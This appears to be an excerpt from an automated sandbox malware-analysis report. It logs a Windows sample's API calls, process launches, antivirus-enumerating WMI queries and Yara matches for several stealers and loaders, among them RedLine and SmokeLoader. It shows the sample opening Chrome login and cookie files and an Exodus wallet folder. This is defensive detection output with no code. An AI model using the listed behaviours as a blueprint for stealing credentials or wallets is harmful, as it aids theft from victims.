Source: 25.2.7D0A.exe.d70000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 25.2.7D0A.exe.d70000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 25.0.7D0A.exe.d70000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 25.0.7D0A.exe.d70000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 25.0.7D0A.exe.d70000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 25.0.7D0A.exe.d70000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 25.0.7D0A.exe.d70000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 25.0.7D0A.exe.d70000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 25.0.7D0A.exe.d70000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 25.0.7D0A.exe.d70000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 37.0.7D0A.exe.650000.7.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 37.0.7D0A.exe.650000.7.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 37.0.7D0A.exe.650000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 37.0.7D0A.exe.650000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 37.0.7D0A.exe.650000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 37.0.7D0A.exe.650000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 37.0.7D0A.exe.650000.11.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 37.0.7D0A.exe.650000.11.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 37.0.7D0A.exe.650000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 37.0.7D0A.exe.650000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 37.0.7D0A.exe.400000.8.unpack, NativeHelper.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 37.0.7D0A.exe.650000.9.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 37.0.7D0A.exe.650000.9.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Process created: C:\Users\user\Desktop\eIxMVDoQF3.exe "C:\Users\user\Desktop\eIxMVDoQF3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rwjfsvd	Process created: C:\Users\user\AppData\Roaming\rwjfsvd C:\Users\user\AppData\Roaming\rwjfsvd	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6800 -ip 6800	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6800 -s 520	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Process created: C:\Users\user\AppData\Local\Temp\7D0A.exe C:\Users\user\AppData\Local\Temp\7D0A.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Code function: 24_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

24_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Code function: 24_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

24_2_00407809

Source: svchost.exe, 00000007.00000002.543418665.000001F46BC60000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.317357684.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.289030111.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.303596196.00000000011E0000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.378018010.0000000000CD0000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.378848152.0000000000CD0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000A.00000000.316999610.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000A.00000000.302758560.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 0000000A.00000000.288715554.0000000000B68000.00000004.00000020.sdmp	Binary or memory string: Progman\Pr
Source: svchost.exe, 00000007.00000002.543418665.000001F46BC60000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.290854913.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.317357684.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.289030111.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.303596196.00000000011E0000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.378018010.0000000000CD0000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.378848152.0000000000CD0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: svchost.exe, 00000007.00000002.543418665.000001F46BC60000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.317357684.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.289030111.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.303596196.00000000011E0000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.378018010.0000000000CD0000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.378848152.0000000000CD0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: svchost.exe, 00000007.00000002.543418665.000001F46BC60000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.317357684.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.289030111.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 0000000A.00000000.303596196.00000000011E0000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.378018010.0000000000CD0000.00000002.00020000.sdmp, F805.exe, 00000010.00000000.378848152.0000000000CD0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 0000000A.00000000.324373605.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.311087346.0000000008778000.00000004.00000001.sdmp, explorer.exe, 0000000A.00000000.294310471.0000000008778000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndh

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe	Code function: GetLocaleInfoA,	0_2_0043A970
Source: C:\Users\user\AppData\Local\Temp\F805.exe	Code function: GetLocaleInfoA,	16_2_00410857
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	23_2_0040AE00
Source: C:\Users\user\AppData\Local\Temp\B50.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	23_2_0057B050

Source: C:\Users\user\AppData\Local\Temp\743F.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\743F.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7D0A.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\7D0A.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

Code function: 0_2_00419F67 __vswprintf,_putc,__wrename,_atexit,_malloc,_realloc,_ferror,GetBinaryTypeA,SetCurrentDirectoryA,Process32NextW,InitializeCriticalSection,QueryDosDeviceW,TerminateJobObject,GlobalAddAtomW,DeleteAtom,WriteProfileStringA,GetFullPathNameA,FindNextVolumeMountPointW,GetCompressedFileSizeA,GetNamedPipeInfo,lstrcpynA,GetProcessVersion,GetConsoleAliasesLengthW,UnregisterWait,GetProcessHandleCount,CancelWaitableTimer,SetFileApisToANSI,CreateIoCompletionPort,FindClose,SetEndOfFile,GetCommMask,LocalLock,OpenMutexW,GetLastError,HeapFree,WriteConsoleOutputCharacterA,GetModuleHandleW,GetNumberOfConsoleInputEvents,FreeEnvironmentStringsA,GetWriteWatch,GetConsoleAliasExesLengthW,_lopen,FileTimeToLocalFileTime,SetCommState,EnumDateFormatsA,TransactNamedPipe,WriteConsoleInputW,GetConsoleAliasExesLengthA,GetAtomNameW,FreeConsole,FlushConsoleInputBuffer,GetConsoleAliasA,SetConsoleCP,VerSetConditionMask,LockFile,SetSystemTime,SetThreadExecutionState,VerLanguageNameW,lstrcpyA,SetFileShortNameW,GetOverlappedResult,GetPrivateProfileSectionW,FreeEnvironmentStringsW,CreateSemaphoreA,GetLocalTime,EnumTimeFormatsW,FindResourceExW,GetPrivateProfileSectionNamesW,GetOverlappedResult,WaitNamedPipeA,TransmitCommChar,CreateSemaphoreW,GetBinaryTypeW,PeekConsoleInputA,BuildCommDCBA,UnregisterWaitEx,GlobalLock,GetOverlappedResult,GetProcAddress,MoveFileExW,GetThreadContext,ResetEvent,FindActCtxSectionStringA,_memset,SetDefaultCommConfigW,lstrcmpW,HeapUnlock,GetConsoleMode,GetVolumePathNameA,MoveFileW,Process32NextW,GetFileAttributesExA,GetDriveTypeA,TryEnterCriticalSection,GetPrivateProfileStructW,WritePrivateProfileSectionA,GetPrivateProfileSectionW,GetSystemTimeAdjustment,WriteConsoleW,EndUpdateResourceW,FindVolumeMountPointClose,DefineDosDeviceW,InterlockedExchange,SetMailslotInfo,GetTapeParameters,CreateActCtxW,FindCloseChangeNotification,GlobalFindAtomA,TerminateProcess,GetSystemWindowsDirectoryW,GetVersion,SetConsoleMode,WriteFile,lstrcmpA,GetPrivateProfileSectionW,DebugBreak,DeleteVolumeMountPointA,

0_2_00419F67

Source: C:\Users\user\AppData\Local\Temp\B50.exe

Code function: 23_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

23_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\B50.exe

Code function: 23_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

23_2_0040ACA0

Source: C:\Users\user\AppData\Local\Temp\743F.exe

Code function: 24_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

24_2_0040405E

Source: C:\Users\user\Desktop\eIxMVDoQF3.exe

0_2_00419F67

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: svchost.exe, 00000009.00000002.541217017.000001B6FC82A000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.541955410.000001B6FC902000.00000004.00000001.sdmp, svchost.exe, 00000009.00000002.540987620.000001B6FC813000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000009.00000002.541495855.000001B6FC840000.00000004.00000001.sdmp	Binary or memory string: @\REGISTRY\USER\S-1-5-19ws Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 25.2.7D0A.exe.447f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.7D0A.exe.447f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.7D0A.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.7D0A.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.7D0A.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.7D0A.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.7D0A.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.7D0A.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000000.429672404.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.428360740.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.429057949.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.520312697.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.437060463.0000000004361000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.427833642.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 15.2.rwjfsvd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.eIxMVDoQF3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.eIxMVDoQF3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.rwjfsvd.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.rwjfsvd.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rwjfsvd.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.rwjfsvd.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.eIxMVDoQF3.exe.6515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.rwjfsvd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.382566740.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.382707049.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.332260069.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.332377268.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.318144404.0000000002E21000.00000020.00020000.sdmp, type: MEMORY

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 00000017.00000002.388045141.0000000000763000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 24.2.743F.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.743F.exe.570e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.743F.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.3.743F.exe.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.432619186.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.432841929.0000000000570000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.392346980.0000000000590000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 743F.exe PID: 6640, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\AppData\Local\Temp\7D0A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\AppData\Local\Temp\7D0A.exe

File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\

Source: Yara match	File source: 00000017.00000002.388045141.0000000000763000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7D0A.exe PID: 2008, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 25.2.7D0A.exe.447f910.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.7D0A.exe.447f910.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.7D0A.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.7D0A.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.7D0A.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.7D0A.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.7D0A.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.7D0A.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000000.429672404.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.428360740.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.429057949.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.520312697.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.437060463.0000000004361000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.427833642.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 15.2.rwjfsvd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.eIxMVDoQF3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.eIxMVDoQF3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.rwjfsvd.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.rwjfsvd.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rwjfsvd.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.0.rwjfsvd.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.eIxMVDoQF3.exe.6515a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.rwjfsvd.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.382566740.0000000000460000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.382707049.00000000004D1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.332260069.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.332377268.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.318144404.0000000002E21000.00000020.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 00000017.00000002.388045141.0000000000763000.00000004.00000001.sdmp, type: MEMORY

Yara detected Tofsee

Show sources

Source: Yara match	File source: 24.2.743F.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.743F.exe.570e50.1.raw.unpack, type: UNPACKEDPE
